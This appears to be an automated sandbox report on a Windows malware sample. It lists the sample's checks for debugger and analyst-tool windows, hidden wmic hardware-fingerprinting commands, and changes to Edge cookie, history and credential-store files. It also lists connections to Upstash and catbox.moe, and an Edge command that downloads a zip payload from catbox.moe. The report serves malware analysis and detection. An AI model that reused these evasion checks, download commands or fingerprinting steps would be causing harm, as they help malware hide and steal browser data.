Technical Information
Malicious functions
Searches for windows to
detect analytical utilities:
- ClassName: '', WindowName: 'The Wireshark Network Analyzer'
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-6a922c17-1580.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-6a922c20-1214.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel
- %LOCALAPPDATA%\microsoft\edge\user data\default\heavy_ad_intervention_opt_out.db-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\heavy_ad_intervention_opt_out.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\previews_opt_out.db-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\previews_opt_out.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor
- %LOCALAPPDATA%\microsoft\edge\user data\last browser
- %LOCALAPPDATA%\microsoft\edge\user data\default\preferredapps
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\log
- %LOCALAPPDATA%\microsoft\edge\user data\functional data-wal
- %LOCALAPPDATA%\microsoft\edge\user data\functional san data-wal
Deletes following files that it created itself
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-6a922c17-1580.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-6a922c20-1214.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000001
Moves the following files
- from %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\current
Modifies the following files
- %LOCALAPPDATA%\microsoft\edge\user data\last version
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\site characteristics database\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\tokenbroker\cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres
- %TEMP%\.ses
- %LOCALAPPDATA%\microsoft\edge\user data\default\history-journal
Substitutes the following files
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG
Network activity
Connects to
- 'wa######ub-84130.upstash.io':443
- 'x1.#.lencr.org':80
- 'fi###.catbox.moe':443
- 'co####.edge.skype.com':443
TCP
HTTP GET requests
- http://x1.#.lencr.org/
Other
- 'wa######ub-84130.upstash.io':443
- 'fi###.catbox.moe':443
- 'co####.edge.skype.com':443
UDP
- DNS ASK wa######ub-84130.upstash.io
- DNS ASK x1.#.lencr.org
- DNS ASK fi###.catbox.moe
- DNS ASK co####.edge.skype.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: 'IDA: Quick start'
- ClassName: '' WindowName: 'Progress Telerik Fiddler Web Debugger'
- ClassName: '' WindowName: 'OllyDbg'
- ClassName: '' WindowName: 'Memory Viewer'
- ClassName: '' WindowName: 'FolderChangesView'
- ClassName: '' WindowName: 'x64dbg'
- ClassName: '' WindowName: 'dnSpy'
- ClassName: '' WindowName: 'BinaryNinja'
- ClassName: '' WindowName: 'Ida'
- ClassName: '' WindowName: 'Process List'
- ClassName: '' WindowName: 'Process Hacker'
- ClassName: '' WindowName: 'KsDumper'
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Microsoft\Edge\User Data'
Executes the following
- '<SYSTEM32>\cmd.exe' /c wmic computersystem get manufacturer
- '<SYSTEM32>\wbem\wmic.exe' computersystem get manufacturer
- '<SYSTEM32>\cmd.exe' /c wmic computersystem get model
- '<SYSTEM32>\wbem\wmic.exe' computersystem get model
- '<SYSTEM32>\cmd.exe' /c wmic diskdrive get model
- '<SYSTEM32>\wbem\wmic.exe' diskdrive get model
- '<SYSTEM32>\cmd.exe' /c wmic path win32_VideoController get name
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --single-argument https://files.catbox.moe/ct7tfq.zip
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate https://files.catbox.moe/ct7tfq.zip
- '%ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\identity_helper.exe' --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1836,3103381651829971453,6929508433195461079,131072 --lang=en-US --service-sandbox-type=none --mojo-p...
- '<SYSTEM32>\cmd.exe' /c wmic computersystem get manufacturer' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic computersystem get model' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic diskdrive get model' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c wmic path win32_VideoController get name' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate https://files.catbox.moe/ct7tfq.zip' (with hidden window)
